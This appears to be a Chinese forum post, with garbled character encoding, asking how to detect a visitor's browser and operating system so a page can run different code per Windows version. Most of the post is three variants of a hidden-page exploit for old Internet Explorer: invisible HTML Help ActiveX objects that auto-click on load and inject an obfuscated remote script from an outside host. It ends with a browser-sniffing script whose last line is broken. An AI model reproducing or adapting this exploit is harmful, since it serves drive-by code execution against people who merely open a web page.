怎么取客戶端的瀏覽器類型和操作系統(tǒng)類型。
當(dāng)打開網(wǎng)頁,根據(jù)系統(tǒng)的不同分別執(zhí)行不同的代碼! 在98下執(zhí)行后pangtl.htm網(wǎng)頁源碼 這里調(diào)用的是file://C:\WINDOWS\Help\Iewebhlp.chm
<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINDOWS\Help\Iewebhlp.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>
在2K下執(zhí)行后pangtl.htm網(wǎng)頁源碼 這里調(diào)用的是file://C:\WINNT\Help\apps.chm
<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINNT\Help\apps.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>
在XP下執(zhí)行后pangtl.htm網(wǎng)頁源碼 這里調(diào)用的是file://C:\WINDOWS\Help\apps.chm
<HTML><BODY><div style="display:none"><OBJECT id="xld" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;file://C:\WINDOWS\Help\apps.chm‘></OBJECT><OBJECT id="kkvl" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_icy"><PARAM name="Item1" value=‘command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"http://www./pangtl/image.htm\\\"\"+String.fromCharCode(62)+\"</S\"+\"CRIPT\"+String.fromCharCode(62))")‘></OBJECT></div><SCRIPT>xld.Click();setTimeout("kkvl.Click();",0);</SCRIPT></BODY></HTML>
區(qū)別
98系統(tǒng) file://C:\WINDOWS\Help\Iewebhlp.chm (WINDOWS目錄 Iewebhlp.chm文件)
2K系統(tǒng) file://C:\WINNT\Help\apps.chm (WINNT目錄 apps.chm文件)
XP系統(tǒng) file://C:\WINDOWS\Help\apps.chm (WINDOWS目錄 apps.chm文件)
做個(gè)自動(dòng)判斷的腳本網(wǎng)頁!!!
怎么取客戶端的瀏覽器類型和操作系統(tǒng)類型。
<script language="javascript"> //--> var Explorer_V=""; var System_V=""; function system(){ var systemID=0; //操作系統(tǒng)的編號,初始值為0(即為未知系統(tǒng)) if((navigator.appVersion.lastIndexOf(‘Windows 95‘) != -1) || (navigator.appVersion.lastIndexOf(‘Win95‘) != -1)) { System_V="Windows 95/98/ME";systemID=1;} else if((navigator.appVersion.lastIndexOf(‘Windows NT 4‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 4‘) != -1)) {System_V="Windows NT4";systemID=2;} else if((navigator.appVersion.lastIndexOf(‘Windows NT 5.0‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 5.0‘) != -1)) {System_V="Windows 2000";systemID=3;} else if((navigator.appVersion.lastIndexOf(‘Windows NT 5.1‘) != -1) || (navigator.appVersion.lastIndexOf(‘WinNT 5.1‘) != -1)) {System_V="Windows XP";systemID=4;} else if(navigator.appVersion.lastIndexOf(‘Linux‘) != -1) {System_V="Linux";systemID=5;} else if(navigator.appVersion.lastIndexOf(‘OS/2‘) != -1) {System_V="OS/2";systemID=6;} else {System_V="未知系統(tǒng)";systemID=0;} System_V+=" "; return (systemID); //將其做為函數(shù)的返回值 }
function explorer2(){ if (navigator.appVersion.lastIndexOf(‘MSIE 4.0‘) != -1 ) Explorer_V="IE 4.0"; else if (navigator.appVersion.lastIndexOf(‘MSIE 5.0‘) != -1 ) Explorer_V="IE 5.0"; else if (navigator.appVersion.lastIndexOf(‘MSIE 5.5‘) != -1 ) Explorer_V="IE 5.5"; else if (navigator.appVersion.lastIndexOf(‘MSIE 6‘) != -1 ) Explorer_V="IE 6"; else if(navigator.appName.lastIndexOf(‘Netscape‘) != -1) Explorer_V="Netscape"; else if(navigator.appName.lastIndexOf(‘Netscape‘) != -1) Explorer_V="Netscape"; else if(navigator.userAgent.indexOf("Opera") != -1) Explorer_V="Opera"; else Explorer_V="未知瀏覽器";
} explorer2(); system(); alert(var Explorer_V + var System_V); // --> </script>
|